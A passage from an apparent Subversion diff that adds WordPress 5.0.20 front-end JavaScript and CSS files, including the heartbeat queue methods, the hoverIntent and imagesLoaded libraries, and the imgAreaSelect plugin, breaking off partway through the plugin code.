+		 * $param string handle Unique handle for the data. The handle is used in PHP to receive the data.
+		 * $param mixed data The data to send.
+		 * $param bool noOverwrite Whether to overwrite existing data in the queue.
+		 * $return bool Whether the data was queued or not.
+		 */
+		function enqueue( handle, data, noOverwrite ) {
+			if ( handle ) {
+				if ( noOverwrite && this.isQueued( handle ) ) {
+					return false;
+				}
+
+				settings.queue[handle] = data;
+				return true;
+			}
+			return false;
+		}
+
+		/**
+		 * Check if data with a particular handle is queued
+		 *
+		 * $param string handle The handle for the data
+		 * $return bool Whether some data is queued with this handle
+		 */
+		function isQueued( handle ) {
+			if ( handle ) {
+				return settings.queue.hasOwnProperty( handle );
+			}
+		}
+
+		/**
+		 * Remove data with a particular handle from the queue
+		 *
+		 * $param string handle The handle for the data
+		 * $return void
+		 */
+		function dequeue( handle ) {
+			if ( handle ) {
+				delete settings.queue[handle];
+			}
+		}
+
+		/**
+		 * Get data that was enqueued with a particular handle
+		 *
+		 * $param string handle The handle for the data
+		 * $return mixed The data or undefined
+		 */
+		function getQueuedItem( handle ) {
+			if ( handle ) {
+				return this.isQueued( handle ) ? settings.queue[handle] : undefined;
+			}
+		}
+
+		initialize();
+
+		// Expose public methods
+		return {
+			hasFocus: hasFocus,
+			connectNow: connectNow,
+			disableSuspend: disableSuspend,
+			interval: interval,
+			hasConnectionError: hasConnectionError,
+			enqueue: enqueue,
+			dequeue: dequeue,
+			isQueued: isQueued,
+			getQueuedItem: getQueuedItem
+		};
+	};
+
+	/**
+	 * Ensure the global `wp` object exists.
+	 *
+	 * @namespace wp
+	 */
+	window.wp = window.wp || {};
+	window.wp.heartbeat = new Heartbeat();
+
+}( jQuery, window ));
Index: /tags/5.0.20/src/wp-includes/js/hoverIntent.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/hoverIntent.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/hoverIntent.js	(revision 56912)
@@ -0,0 +1,115 @@
+/*!
+ * hoverIntent v1.8.1 // 2014.08.11 // jQuery v1.9.1+
+ * http://cherne.net/brian/resources/jquery.hoverIntent.html
+ *
+ * You may use hoverIntent under the terms of the MIT license. Basically that
+ * means you are free to use hoverIntent as long as this header is left intact.
+ * Copyright 2007, 2014 Brian Cherne
+ */
+
+/* hoverIntent is similar to jQuery's built-in "hover" method except that
+ * instead of firing the handlerIn function immediately, hoverIntent checks
+ * to see if the user's mouse has slowed down (beneath the sensitivity
+ * threshold) before firing the event. The handlerOut function is only
+ * called after a matching handlerIn.
+ *
+ * // basic usage ... just like .hover()
+ * .hoverIntent( handlerIn, handlerOut )
+ * .hoverIntent( handlerInOut )
+ *
+ * // basic usage ... with event delegation!
+ * .hoverIntent( handlerIn, handlerOut, selector )
+ * .hoverIntent( handlerInOut, selector )
+ *
+ * // using a basic configuration object
+ * .hoverIntent( config )
+ *
+ * @param  handlerIn   function OR configuration object
+ * @param  handlerOut  function OR selector for delegation OR undefined
+ * @param  selector    selector OR undefined
+ * @author Brian Cherne <brian(at)cherne(dot)net>
+ */
+(function($) {
+    $.fn.hoverIntent = function(handlerIn,handlerOut,selector) {
+
+        // default configuration values
+        var cfg = {
+            interval: 100,
+            sensitivity: 6,
+            timeout: 0
+        };
+
+        if ( typeof handlerIn === "object" ) {
+            cfg = $.extend(cfg, handlerIn );
+        } else if ($.isFunction(handlerOut)) {
+            cfg = $.extend(cfg, { over: handlerIn, out: handlerOut, selector: selector } );
+        } else {
+            cfg = $.extend(cfg, { over: handlerIn, out: handlerIn, selector: handlerOut } );
+        }
+
+        // instantiate variables
+        // cX, cY = current X and Y position of mouse, updated by mousemove event
+        // pX, pY = previous X and Y position of mouse, set by mouseover and polling interval
+        var cX, cY, pX, pY;
+
+        // A private function for getting mouse position
+        var track = function(ev) {
+            cX = ev.pageX;
+            cY = ev.pageY;
+        };
+
+        // A private function for comparing current and previous mouse position
+        var compare = function(ev,ob) {
+            ob.hoverIntent_t = clearTimeout(ob.hoverIntent_t);
+            // compare mouse positions to see if they've crossed the threshold
+            if ( Math.sqrt( (pX-cX)*(pX-cX) + (pY-cY)*(pY-cY) ) < cfg.sensitivity ) {
+                $(ob).off("mousemove.hoverIntent",track);
+                // set hoverIntent state to true (so mouseOut can be called)
+                ob.hoverIntent_s = true;
+                return cfg.over.apply(ob,[ev]);
+            } else {
+                // set previous coordinates for next time
+                pX = cX; pY = cY;
+                // use self-calling timeout, guarantees intervals are spaced out properly (avoids JavaScript timer bugs)
+                ob.hoverIntent_t = setTimeout( function(){compare(ev, ob);} , cfg.interval );
+            }
+        };
+
+        // A private function for delaying the mouseOut function
+        var delay = function(ev,ob) {
+            ob.hoverIntent_t = clearTimeout(ob.hoverIntent_t);
+            ob.hoverIntent_s = false;
+            return cfg.out.apply(ob,[ev]);
+        };
+
+        // A private function for handling mouse 'hovering'
+        var handleHover = function(e) {
+            // copy objects to be passed into t (required for event object to be passed in IE)
+            var ev = $.extend({},e);
+            var ob = this;
+
+            // cancel hoverIntent timer if it exists
+            if (ob.hoverIntent_t) { ob.hoverIntent_t = clearTimeout(ob.hoverIntent_t); }
+
+            // if e.type === "mouseenter"
+            if (e.type === "mouseenter") {
+                // set "previous" X and Y position based on initial entry point
+                pX = ev.pageX; pY = ev.pageY;
+                // update "current" X and Y position based on mousemove
+                $(ob).on("mousemove.hoverIntent",track);
+                // start polling interval (self-calling timeout) to compare mouse coordinates over time
+                if (!ob.hoverIntent_s) { ob.hoverIntent_t = setTimeout( function(){compare(ev,ob);} , cfg.interval );}
+
+                // else e.type == "mouseleave"
+            } else {
+                // unbind expensive mousemove event
+                $(ob).off("mousemove.hoverIntent",track);
+                // if hoverIntent state is true, then call the mouseOut function after the specified delay
+                if (ob.hoverIntent_s) { ob.hoverIntent_t = setTimeout( function(){delay(ev,ob);} , cfg.timeout );}
+            }
+        };
+
+        // listen for mouseenter and mouseleave
+        return this.on({'mouseenter.hoverIntent':handleHover,'mouseleave.hoverIntent':handleHover}, cfg.selector);
+    };
+})(jQuery);
Index: /tags/5.0.20/src/wp-includes/js/imagesloaded.min.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/imagesloaded.min.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/imagesloaded.min.js	(revision 56912)
@@ -0,0 +1,7 @@
+/*!
+ * imagesLoaded PACKAGED v3.2.0
+ * JavaScript is all like "You images are done yet or what?"
+ * MIT License
+ */
+
+(function(){"use strict";function e(){}function t(e,t){for(var n=e.length;n--;)if(e[n].listener===t)return n;return-1}function n(e){return function(){return this[e].apply(this,arguments)}}var i=e.prototype,r=this,s=r.EventEmitter;i.getListeners=function(e){var t,n,i=this._getEvents();if("object"==typeof e){t={};for(n in i)i.hasOwnProperty(n)&&e.test(n)&&(t[n]=i[n])}else t=i[e]||(i[e]=[]);return t},i.flattenListeners=function(e){var t,n=[];for(t=0;t<e.length;t+=1)n.push(e[t].listener);return n},i.getListenersAsObject=function(e){var t,n=this.getListeners(e);return n instanceof Array&&(t={},t[e]=n),t||n},i.addListener=function(e,n){var i,r=this.getListenersAsObject(e),s="object"==typeof n;for(i in r)r.hasOwnProperty(i)&&-1===t(r[i],n)&&r[i].push(s?n:{listener:n,once:!1});return this},i.on=n("addListener"),i.addOnceListener=function(e,t){return this.addListener(e,{listener:t,once:!0})},i.once=n("addOnceListener"),i.defineEvent=function(e){return this.getListeners(e),this},i.defineEvents=function(e){for(var t=0;t<e.length;t+=1)this.defineEvent(e[t]);return this},i.removeListener=function(e,n){var i,r,s=this.getListenersAsObject(e);for(r in s)s.hasOwnProperty(r)&&(i=t(s[r],n),-1!==i&&s[r].splice(i,1));return this},i.off=n("removeListener"),i.addListeners=function(e,t){return this.manipulateListeners(!1,e,t)},i.removeListeners=function(e,t){return this.manipulateListeners(!0,e,t)},i.manipulateListeners=function(e,t,n){var i,r,s=e?this.removeListener:this.addListener,o=e?this.removeListeners:this.addListeners;if("object"!=typeof t||t instanceof RegExp)for(i=n.length;i--;)s.call(this,t,n[i]);else for(i in t)t.hasOwnProperty(i)&&(r=t[i])&&("function"==typeof r?s.call(this,i,r):o.call(this,i,r));return this},i.removeEvent=function(e){var t,n=typeof e,i=this._getEvents();if("string"===n)delete i[e];else if("object"===n)for(t in i)i.hasOwnProperty(t)&&e.test(t)&&delete i[t];else delete this._events;return this},i.removeAllListeners=n("removeEvent"),i.emitEvent=function(e,t){var n,i,r,s,o=this.getListenersAsObject(e);for(r in o)if(o.hasOwnProperty(r))for(i=o[r].length;i--;)n=o[r][i],n.once===!0&&this.removeListener(e,n.listener),s=n.listener.apply(this,t||[]),s===this._getOnceReturnValue()&&this.removeListener(e,n.listener);return this},i.trigger=n("emitEvent"),i.emit=function(e){var t=Array.prototype.slice.call(arguments,1);return this.emitEvent(e,t)},i.setOnceReturnValue=function(e){return this._onceReturnValue=e,this},i._getOnceReturnValue=function(){return this.hasOwnProperty("_onceReturnValue")?this._onceReturnValue:!0},i._getEvents=function(){return this._events||(this._events={})},e.noConflict=function(){return r.EventEmitter=s,e},"function"==typeof define&&define.amd?define("eventEmitter/EventEmitter",[],function(){return e}):"object"==typeof module&&module.exports?module.exports=e:this.EventEmitter=e}).call(this),function(e){function t(t){var n=e.event;return n.target=n.target||n.srcElement||t,n}var n=document.documentElement,i=function(){};n.addEventListener?i=function(e,t,n){e.addEventListener(t,n,!1)}:n.attachEvent&&(i=function(e,n,i){e[n+i]=i.handleEvent?function(){var n=t(e);i.handleEvent.call(i,n)}:function(){var n=t(e);i.call(e,n)},e.attachEvent("on"+n,e[n+i])});var r=function(){};n.removeEventListener?r=function(e,t,n){e.removeEventListener(t,n,!1)}:n.detachEvent&&(r=function(e,t,n){e.detachEvent("on"+t,e[t+n]);try{delete e[t+n]}catch(i){e[t+n]=void 0}});var s={bind:i,unbind:r};"function"==typeof define&&define.amd?define("eventie/eventie",s):e.eventie=s}(this),function(e,t){"use strict";"function"==typeof define&&define.amd?define(["eventEmitter/EventEmitter","eventie/eventie"],function(n,i){return t(e,n,i)}):"object"==typeof module&&module.exports?module.exports=t(e,require("wolfy87-eventemitter"),require("eventie")):e.imagesLoaded=t(e,e.EventEmitter,e.eventie)}(window,function(e,t,n){function i(e,t){for(var n in t)e[n]=t[n];return e}function r(e){return"[object Array]"==f.call(e)}function s(e){var t=[];if(r(e))t=e;else if("number"==typeof e.length)for(var n=0;n<e.length;n++)t.push(e[n]);else t.push(e);return t}function o(e,t,n){if(!(this instanceof o))return new o(e,t,n);"string"==typeof e&&(e=document.querySelectorAll(e)),this.elements=s(e),this.options=i({},this.options),"function"==typeof t?n=t:i(this.options,t),n&&this.on("always",n),this.getImages(),u&&(this.jqDeferred=new u.Deferred);var r=this;setTimeout(function(){r.check()})}function h(e){this.img=e}function a(e,t){this.url=e,this.element=t,this.img=new Image}var u=e.jQuery,c=e.console,f=Object.prototype.toString;o.prototype=new t,o.prototype.options={},o.prototype.getImages=function(){this.images=[];for(var e=0;e<this.elements.length;e++){var t=this.elements[e];this.addElementImages(t)}},o.prototype.addElementImages=function(e){"IMG"==e.nodeName&&this.addImage(e),this.options.background===!0&&this.addElementBackgroundImages(e);var t=e.nodeType;if(t&&d[t]){for(var n=e.querySelectorAll("img"),i=0;i<n.length;i++){var r=n[i];this.addImage(r)}if("string"==typeof this.options.background){var s=e.querySelectorAll(this.options.background);for(i=0;i<s.length;i++){var o=s[i];this.addElementBackgroundImages(o)}}}};var d={1:!0,9:!0,11:!0};o.prototype.addElementBackgroundImages=function(e){for(var t=m(e),n=/url\(['"]*([^'"\)]+)['"]*\)/gi,i=n.exec(t.backgroundImage);null!==i;){var r=i&&i[1];r&&this.addBackground(r,e),i=n.exec(t.backgroundImage)}};var m=e.getComputedStyle||function(e){return e.currentStyle};return o.prototype.addImage=function(e){var t=new h(e);this.images.push(t)},o.prototype.addBackground=function(e,t){var n=new a(e,t);this.images.push(n)},o.prototype.check=function(){function e(e,n,i){setTimeout(function(){t.progress(e,n,i)})}var t=this;if(this.progressedCount=0,this.hasAnyBroken=!1,!this.images.length)return void this.complete();for(var n=0;n<this.images.length;n++){var i=this.images[n];i.once("progress",e),i.check()}},o.prototype.progress=function(e,t,n){this.progressedCount++,this.hasAnyBroken=this.hasAnyBroken||!e.isLoaded,this.emit("progress",this,e,t),this.jqDeferred&&this.jqDeferred.notify&&this.jqDeferred.notify(this,e),this.progressedCount==this.images.length&&this.complete(),this.options.debug&&c&&c.log("progress: "+n,e,t)},o.prototype.complete=function(){var e=this.hasAnyBroken?"fail":"done";if(this.isComplete=!0,this.emit(e,this),this.emit("always",this),this.jqDeferred){var t=this.hasAnyBroken?"reject":"resolve";this.jqDeferred[t](this)}},h.prototype=new t,h.prototype.check=function(){var e=this.getIsImageComplete();return e?void this.confirm(0!==this.img.naturalWidth,"naturalWidth"):(this.proxyImage=new Image,n.bind(this.proxyImage,"load",this),n.bind(this.proxyImage,"error",this),n.bind(this.img,"load",this),n.bind(this.img,"error",this),void(this.proxyImage.src=this.img.src))},h.prototype.getIsImageComplete=function(){return this.img.complete&&void 0!==this.img.naturalWidth},h.prototype.confirm=function(e,t){this.isLoaded=e,this.emit("progress",this,this.img,t)},h.prototype.handleEvent=function(e){var t="on"+e.type;this[t]&&this[t](e)},h.prototype.onload=function(){this.confirm(!0,"onload"),this.unbindEvents()},h.prototype.onerror=function(){this.confirm(!1,"onerror"),this.unbindEvents()},h.prototype.unbindEvents=function(){n.unbind(this.proxyImage,"load",this),n.unbind(this.proxyImage,"error",this),n.unbind(this.img,"load",this),n.unbind(this.img,"error",this)},a.prototype=new h,a.prototype.check=function(){n.bind(this.img,"load",this),n.bind(this.img,"error",this),this.img.src=this.url;var e=this.getIsImageComplete();e&&(this.confirm(0!==this.img.naturalWidth,"naturalWidth"),this.unbindEvents())},a.prototype.unbindEvents=function(){n.unbind(this.img,"load",this),n.unbind(this.img,"error",this)},a.prototype.confirm=function(e,t){this.isLoaded=e,this.emit("progress",this,this.element,t)},o.makeJQueryPlugin=function(t){t=t||e.jQuery,t&&(u=t,u.fn.imagesLoaded=function(e,t){var n=new o(this,e,t);return n.jqDeferred.promise(u(this))})},o.makeJQueryPlugin(),o});
Index: /tags/5.0.20/src/wp-includes/js/imgareaselect/imgareaselect.css
===================================================================
--- /tags/5.0.20/src/wp-includes/js/imgareaselect/imgareaselect.css	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/imgareaselect/imgareaselect.css	(revision 56912)
@@ -0,0 +1,41 @@
+/*
+ * imgAreaSelect animated border style
+ */
+
+.imgareaselect-border1 {
+	background: url(border-anim-v.gif) repeat-y left top;
+}
+
+.imgareaselect-border2 {
+    background: url(border-anim-h.gif) repeat-x left top;
+}
+
+.imgareaselect-border3 {
+    background: url(border-anim-v.gif) repeat-y right top;
+}
+
+.imgareaselect-border4 {
+    background: url(border-anim-h.gif) repeat-x left bottom;
+}
+
+.imgareaselect-border1, .imgareaselect-border2,
+.imgareaselect-border3, .imgareaselect-border4 {
+    filter: alpha(opacity=50);
+	opacity: 0.5;
+}
+
+.imgareaselect-handle {
+    background-color: #fff;
+	border: solid 1px #000;
+    filter: alpha(opacity=50);
+	opacity: 0.5;
+}
+
+.imgareaselect-outer {
+	background-color: #000;
+    filter: alpha(opacity=50);
+	opacity: 0.5;
+}
+
+.imgareaselect-selection {
+}
Index: /tags/5.0.20/src/wp-includes/js/imgareaselect/jquery.imgareaselect.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/imgareaselect/jquery.imgareaselect.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/imgareaselect/jquery.imgareaselect.js	(revision 56912)
@@ -0,0 +1,1232 @@
+/*
+ * imgAreaSelect jQuery plugin
+ * version 0.9.10-monkey
+ *
+ * Copyright (c) 2008-2013 Michal Wojciechowski (odyniec.net)
+ *
+ * Dual licensed under the MIT (MIT-LICENSE.txt)
+ * and GPL (GPL-LICENSE.txt) licenses.
+ *
+ * http://odyniec.net/projects/imgareaselect/
+ *
+ */
+
+(function($) {
+
+/*
+ * Math functions will be used extensively, so it's convenient to make a few
+ * shortcuts
+ */
+var abs = Math.abs,
+    max = Math.max,
+    min = Math.min,
+    round = Math.round;
+
+/**
+ * Create a new HTML div element
+ *
+ * @return A jQuery object representing the new element
+ */
+function div() {
+    return $('<div/>');
+}
+
+/**
+ * imgAreaSelect initialization
+ *
+ * @param img
+ *            A HTML image element to attach the plugin to
+ * @param options
+ *            An options object
+ */
+$.imgAreaSelect = function (img, options) {
+    var
+        /* jQuery object representing the image */
+        $img = $(img),
+
+        /* Has the image finished loading? */
+        imgLoaded,
+
+        /* Plugin elements */
+
+        /* Container box */
+        $box = div(),
+        /* Selection area */
+        $area = div(),
+        /* Border (four divs) */
+        $border = div().add(div()).add(div()).add(div()),
+        /* Outer area (four divs) */
+        $outer = div().add(div()).add(div()).add(div()),
+        /* Handles (empty by default, initialized in setOptions()) */
+        $handles = $([]),
+
+        /*
+         * Additional element to work around a cursor problem in Opera
+         * (explained later)
+         */
+        $areaOpera,
+
+        /* Image position (relative to viewport) */
+        left, top,
+
+        /* Image offset (as returned by .offset()) */
+        imgOfs = { left: 0, top: 0 },
+
+        /* Image dimensions (as returned by .width() and .height()) */
+        imgWidth, imgHeight,
+
+        /*
+         * jQuery object representing the parent element that the plugin
+         * elements are appended to
+         */
+        $parent,
+
+        /* Parent element offset (as returned by .offset()) */
+        parOfs = { left: 0, top: 0 },
+
+        /* Base z-index for plugin elements */
+        zIndex = 0,
+
+        /* Plugin elements position */
+        position = 'absolute',
+
+        /* X/Y coordinates of the starting point for move/resize operations */
+        startX, startY,
+
+        /* Horizontal and vertical scaling factors */
+        scaleX, scaleY,
+
+        /* Current resize mode ("nw", "se", etc.) */
+        resize,
+
+        /* Selection area constraints */
+        minWidth, minHeight, maxWidth, maxHeight,
+
+        /* Aspect ratio to maintain (floating point number) */
+        aspectRatio,
+
+        /* Are the plugin elements currently displayed? */
+        shown,
+
+        /* Current selection (relative to parent element) */
+        x1, y1, x2, y2,
+
+        /* Current selection (relative to scaled image) */
+        selection = { x1: 0, y1: 0, x2: 0, y2: 0, width: 0, height: 0 },
+
+        /* Document element */
+        docElem = document.documentElement,
+
+        /* User agent */
+        ua = navigator.userAgent,
+
+        /* Various helper variables used throughout the code */
+        $p, d, i, o, w, h, adjusted;
+
+    /*
+     * Translate selection coordinates (relative to scaled image) to viewport
+     * coordinates (relative to parent element)
+     */
+
+    /**
+     * Translate selection X to viewport X
+     *
+     * @param x
+     *            Selection X
+     * @return Viewport X
+     */
+    function viewX(x) {
+        return x + imgOfs.left - parOfs.left;
+    }
+
+    /**
+     * Translate selection Y to viewport Y
+     *
+     * @param y
+     *            Selection Y
+     * @return Viewport Y
+     */
+    function viewY(y) {
+        return y + imgOfs.top - parOfs.top;
+    }
+
+    /*
+     * Translate viewport coordinates to selection coordinates
+     */
+
+    /**
+     * Translate viewport X to selection X
+     *
+     * @param x
+     *            Viewport X
+     * @return Selection X
+     */
+    function selX(x) {
+        return x - imgOfs.left + parOfs.left;
+    }
+
+    /**
+     * Translate viewport Y to selection Y
+     *
+     * @param y
+     *            Viewport Y
+     * @return Selection Y
+     */
+    function selY(y) {
+        return y - imgOfs.top + parOfs.top;
+    }
+
+    /*
+     * Translate event coordinates (relative to document) to viewport
+     * coordinates
+     */
+
+    /**
+     * Get event X and translate it to viewport X
+     *
+     * @param event
+     *            The event object
+     * @return Viewport X
+     */
+    function evX(event) {
+        return max(event.pageX || 0, touchCoords(event).x) - parOfs.left;
+    }
+
+    /**
+     * Get event Y and translate it to viewport Y
+     *
+     * @param event
+     *            The event object
+     * @return Viewport Y
+     */
+    function evY(event) {
+        return max(event.pageY || 0, touchCoords(event).y) - parOfs.top;
+    }
+
+    /**
+     * Get X and Y coordinates of a touch event
+     *
+     * @param event
+     *            The event object
+     * @return Coordinates object
+     */
+    function touchCoords(event) {
+        var oev = event.originalEvent || {};
+
+        if (oev.touches && oev.touches.length)
+            return { x: oev.touches[0].pageX, y: oev.touches[0].pageY };
+        else
+            return { x: 0, y: 0 };
+    }
+
+    /**
+     * Get the current selection
+     *
+     * @param noScale
+     *            If set to <code>true</code>, scaling is not applied to the
+     *            returned selection
+     * @return Selection object
+     */
+    function getSelection(noScale) {
+        var sx = noScale || scaleX, sy = noScale || scaleY;
+
+        return { x1: round(selection.x1 * sx),
+            y1: round(selection.y1 * sy),
+            x2: round(selection.x2 * sx),
+            y2: round(selection.y2 * sy),
+            width: round(selection.x2 * sx) - round(selection.x1 * sx),
+            height: round(selection.y2 * sy) - round(selection.y1 * sy) };
+    }
+
+    /**
+     * Set the current selection
+     *
+     * @param x1
+     *            X coordinate of the upper left corner of the selection area
+     * @param y1
+     *            Y coordinate of the upper left corner of the selection area
+     * @param x2
+     *            X coordinate of the lower right corner of the selection area
+     * @param y2
+     *            Y coordinate of the lower right corner of the selection area
+     * @param noScale
+     *            If set to <code>true</code>, scaling is not applied to the
+     *            new selection
+     */
+    function setSelection(x1, y1, x2, y2, noScale) {
+        var sx = noScale || scaleX, sy = noScale || scaleY;
+
+        selection = {
+            x1: round(x1 / sx || 0),
+            y1: round(y1 / sy || 0),
+            x2: round(x2 / sx || 0),
+            y2: round(y2 / sy || 0)
+        };
+
+        selection.width = selection.x2 - selection.x1;
+        selection.height = selection.y2 - selection.y1;
+    }
+
+    /**
+     * Recalculate image and parent offsets
+     */
+    function adjust() {
+        /*
+         * Do not adjust if image has not yet loaded or if width is not a
+         * positive number. The latter might happen when imgAreaSelect is put
+         * on a parent element which is then hidden.
+         */
+        if (!imgLoaded || !$img.width())
+            return;
+
+        /*
+         * Get image offset. The .offset() method returns float values, so they
+         * need to be rounded.
+         */
+        imgOfs = { left: round($img.offset().left), top: round($img.offset().top) };
+
+        /* Get image dimensions */
+        imgWidth = $img.innerWidth();
+        imgHeight = $img.innerHeight();
+
+        imgOfs.top += ($img.outerHeight() - imgHeight) >> 1;
+        imgOfs.left += ($img.outerWidth() - imgWidth) >> 1;
+
+        /* Set minimum and maximum selection area dimensions */
+        minWidth = round(options.minWidth / scaleX) || 0;
+        minHeight = round(options.minHeight / scaleY) || 0;
+        maxWidth = round(min(options.maxWidth / scaleX || 1<<24, imgWidth));
+        maxHeight = round(min(options.maxHeight / scaleY || 1<<24, imgHeight));
+
+        /*
+         * Workaround for jQuery 1.3.2 incorrect offset calculation, originally
+         * observed in Safari 3. Firefox 2 is also affected.
+         */
+        if ($().jquery == '1.3.2' && position == 'fixed' &&
+            !docElem['getBoundingClientRect'])
+        {
+            imgOfs.top += max(document.body.scrollTop, docElem.scrollTop);
+            imgOfs.left += max(document.body.scrollLeft, docElem.scrollLeft);
+        }
+
+        /* Determine parent element offset */
+        parOfs = /absolute|relative/.test($parent.css('position')) ?
+            { left: round($parent.offset().left) - $parent.scrollLeft(),
+                top: round($parent.offset().top) - $parent.scrollTop() } :
+            position == 'fixed' ?
+                { left: $(document).scrollLeft(), top: $(document).scrollTop() } :
+                { left: 0, top: 0 };
+
+        left = viewX(0);
+        top = viewY(0);
+
+        /*
+         * Check if selection area is within image boundaries, adjust if
+         * necessary
+         */
+        if (selection.x2 > imgWidth || selection.y2 > imgHeight)
+            doResize();
+    }
+
+    /**
+     * Update plugin elements
+     *
+     * @param resetKeyPress
+     *            If set to <code>false</code>, this instance's keypress
+     *            event handler is not activated
+     */
+    function update(resetKeyPress) {
+        /* If plugin elements are hidden, do nothing */
+        if (!shown) return;
+
+        /*
+         * Set the position and size of the container box and the selection area
+         * inside it
+         */
+        $box.css({ left: viewX(selection.x1), top: viewY(selection.y1) })
+            .add($area).width(w = selection.width).height(h = selection.height);
+
+        /*
+         * Reset the position of selection area, borders, and handles (IE6/IE7
+         * position them incorrectly if we don't do this)
+         */
+        $area.add($border).add($handles).css({ left: 0, top: 0 });
+
+        /* Set border dimensions */
+        $border
+            .width(max(w - $border.outerWidth() + $border.innerWidth(), 0))
+            .height(max(h - $border.outerHeight() + $border.innerHeight(), 0));
+
+        /* Arrange the outer area elements */
+        $($outer[0]).css({ left: left, top: top,
+            width: selection.x1, height: imgHeight });
+        $($outer[1]).css({ left: left + selection.x1, top: top,
+            width: w, height: selection.y1 });
+        $($outer[2]).css({ left: left + selection.x2, top: top,
+            width: imgWidth - selection.x2, height: imgHeight });
+        $($outer[3]).css({ left: left + selection.x1, top: top + selection.y2,
+            width: w, height: imgHeight - selection.y2 });
+
+        w -= $handles.outerWidth();
+        h -= $handles.outerHeight();
+
+        /* Arrange handles */
+        switch ($handles.length) {
+        case 8:
+            $($handles[4]).css({ left: w >> 1 });
+            $($handles[5]).css({ left: w, top: h >> 1 });
+            $($handles[6]).css({ left: w >> 1, top: h });
+            $($handles[7]).css({ top: h >> 1 });
+        case 4:
+            $handles.slice(1,3).css({ left: w });
+            $handles.slice(2,4).css({ top: h });
+        }
+
+        if (resetKeyPress !== false) {
+            /*
+             * Need to reset the document keypress event handler -- unbind the
+             * current handler
+             */
+            if ($.imgAreaSelect.onKeyPress != docKeyPress)
+                $(document).unbind($.imgAreaSelect.keyPress,
+                    $.imgAreaSelect.onKeyPress);
+
+            if (options.keys)
+                /*
+                 * Set the document keypress event handler to this instance's
+                 * docKeyPress() function
+                 */
+                $(document)[$.imgAreaSelect.keyPress](
+                    $.imgAreaSelect.onKeyPress = docKeyPress);
+        }
+
+        /*
+         * Internet Explorer displays 1px-wide dashed borders incorrectly by
+         * filling the spaces between dashes with white. Toggling the margin
+         * property between 0 and "auto" fixes this in IE6 and IE7 (IE8 is still
+         * broken). This workaround is not perfect, as it requires setTimeout()
+         * and thus causes the border to flicker a bit, but I haven't found a
+         * better solution.
+         *
+         * Note: This only happens with CSS borders, set with the borderWidth,
+         * borderOpacity, borderColor1, and borderColor2 options (which are now
+         * deprecated). Borders created with GIF background images are fine.
+         */
+        if (msie && $border.outerWidth() - $border.innerWidth() == 2) {
+            $border.css('margin', 0);
+            setTimeout(function () { $border.css('margin', 'auto'); }, 0);
+        }
+    }
+
+    /**
+     * Do the complete update sequence: recalculate offsets, update the
+     * elements, and set the correct values of x1, y1, x2, and y2.
+     *
+     * @param resetKeyPress
+     *            If set to <code>false</code>, this instance's keypress
+     *            event handler is not activated
+     */
+    function doUpdate(resetKeyPress) {
+        adjust();
+        update(resetKeyPress);
+        x1 = viewX(selection.x1); y1 = viewY(selection.y1);
+        x2 = viewX(selection.x2); y2 = viewY(selection.y2);
+    }
+
+    /**
+     * Hide or fade out an element (or multiple elements)
+     *
+     * @param $elem
+     *            A jQuery object containing the element(s) to hide/fade out
+     * @param fn
+     *            Callback function to be called when fadeOut() completes
+     */
+    function hide($elem, fn) {
+        options.fadeSpeed ? $elem.fadeOut(options.fadeSpeed, fn) : $elem.hide();
+    }
+
+    /**
+     * Selection area mousemove event handler
+     *
+     * @param event
+     *            The event object
+     */
+    function areaMouseMove(event) {
+        var x = selX(evX(event)) - selection.x1,
+            y = selY(evY(event)) - selection.y1;
+
+        if (!adjusted) {
+            adjust();
+            adjusted = true;
+
+            $box.one('mouseout', function () { adjusted = false; });
+        }
+
+        /* Clear the resize mode */
+        resize = '';
+
+        if (options.resizable) {
+            /*
+             * Check if the mouse pointer is over the resize margin area and set
+             * the resize mode accordingly
+             */
+            if (y <= options.resizeMargin)
+                resize = 'n';
+            else if (y >= selection.height - options.resizeMargin)
+                resize = 's';
+            if (x <= options.resizeMargin)
+                resize += 'w';
+            else if (x >= selection.width - options.resizeMargin)
+                resize += 'e';
+        }
+
+        $box.css('cursor', resize ? resize + '-resize' :
+            options.movable ? 'move' : '');
+        if ($areaOpera)
+            $areaOpera.toggle();
+    }
+
+    /**
+     * Document mouseup event handler
+     *
+     * @param event
+     *            The event object
+     */
+    function docMouseUp(event) {
+        /* Set back the default cursor */
+        $('body').css('cursor', '');
+        /*
+         * If autoHide is enabled, or if the selection has zero width/height,
+         * hide the selection and the outer area
+         */
+        if (options.autoHide || selection.width * selection.height == 0)
+            hide($box.add($outer), function () { $(this).hide(); });
+
+        $(document).off('mousemove touchmove', selectingMouseMove);
+        $box.on('mousemove touchmove', areaMouseMove);
+
+        options.onSelectEnd(img, getSelection());
+    }
+
+    /**
+     * Selection area mousedown event handler
+     *
+     * @param event
+     *            The event object
+     * @return false
+     */
+    function areaMouseDown(event) {
+        if (event.type == 'mousedown' && event.which != 1) return false;
+
+    	/*
+    	 * With mobile browsers, there is no "moving the pointer over" action,
+    	 * so we need to simulate one mousemove event happening prior to
+    	 * mousedown/touchstart.
+    	 */
+    	areaMouseMove(event);
+
+        adjust();
+
+        if (resize) {
+            /* Resize mode is in effect */
+            $('body').css('cursor', resize + '-resize');
+
+            x1 = viewX(selection[/w/.test(resize) ? 'x2' : 'x1']);
+            y1 = viewY(selection[/n/.test(resize) ? 'y2' : 'y1']);
+
+            $(document).on('mousemove touchmove', selectingMouseMove)
+                .one('mouseup touchend', docMouseUp);
+            $box.off('mousemove touchmove', areaMouseMove);
+        }
+        else if (options.movable) {
+            startX = left + selection.x1 - evX(event);
+            startY = top + selection.y1 - evY(event);
+
+            $box.off('mousemove touchmove', areaMouseMove);
+
+            $(document).on('mousemove touchmove', movingMouseMove)
+                .one('mouseup touchend', function () {
+                    options.onSelectEnd(img, getSelection());
+
+                    $(document).off('mousemove touchmove', movingMouseMove);
+                    $box.on('mousemove touchmove', areaMouseMove);
+                });
+        }
+        else
+            $img.mousedown(event);
+
+        return false;
+    }
+
+    /**
+     * Adjust the x2/y2 coordinates to maintain aspect ratio (if defined)
+     *
+     * @param xFirst
+     *            If set to <code>true</code>, calculate x2 first. Otherwise,
+     *            calculate y2 first.
+     */
+    function fixAspectRatio(xFirst) {
+        if (aspectRatio)
+            if (xFirst) {
+                x2 = max(left, min(left + imgWidth,
